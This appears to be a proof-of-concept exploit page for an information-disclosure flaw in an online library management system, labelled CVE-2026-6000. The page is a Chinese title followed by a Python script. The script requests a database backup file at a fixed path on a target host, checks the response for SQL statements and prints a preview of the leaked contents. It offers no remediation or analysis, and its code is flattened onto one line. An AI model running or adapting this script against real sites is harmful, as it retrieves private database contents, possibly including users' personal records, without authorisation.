CVE-2026-6000 在线图书馆管理系统信息泄露漏洞

import requests # Target URL format url = "http://target.com/sql/library.sql" def check_poc(target): try: #发送HTTP GET请求尝试下载备份文件 response = requests.get(target, timeout=10) if response.status_code == 200: # Check if the response contains typical SQL keywords content = response.text if "CREATE TABLE" in content or "INSERT INTO" in content: print("[+] Vulnerability Confirmed! SQL backup file is accessible.") print(f"[+] Content preview:\n{content[:200]}") return True else: print(f"[-] File not found or access denied. Status code: {response.status_code}") return False except Exception as e: print(f"[!] Error occurred: {e}") return False if __name__ == "__main__": check_poc(url)